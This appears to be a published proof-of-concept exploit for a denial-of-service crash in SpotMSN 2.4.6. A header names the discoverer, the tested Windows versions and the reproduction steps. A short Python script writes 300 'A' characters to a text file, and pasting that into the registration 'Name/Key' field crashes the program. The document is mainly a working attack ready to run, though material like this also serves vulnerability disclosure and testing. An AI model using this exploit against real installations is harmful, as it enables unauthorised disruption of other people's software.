#Exploit Title: SpotMSN 2.4.6 - 'Name/Key' Denial of Service (PoC)#Discovery by: Victor Mondragón#Discovery Date: 2019-05-12#Vendor Homepage: www.nsauditor.com #Software Link: http://www.nsauditor.com/downloads/spotmsn_setup.exe#Tested Version: 2.4.6#Tested on: Windows Windows 10 Single Language x64 / 7 x64 Service Pack 1#Steps to produce the crash:#1.- Run python code: SpotMSN_2.4.6.py#2.- Open SpotMSN.txt and copy content to clipboard#3.- Open SpotMSN#4.- Select "Register" > "Enter Registration Code..."#5.- In "Name/Key" paste Clipboard#6.- Click "Ok"#7.- Crarshed
cod = "\x41"* 300
f = open('SpotMSN.txt','w')
f.write(cod)
f.close()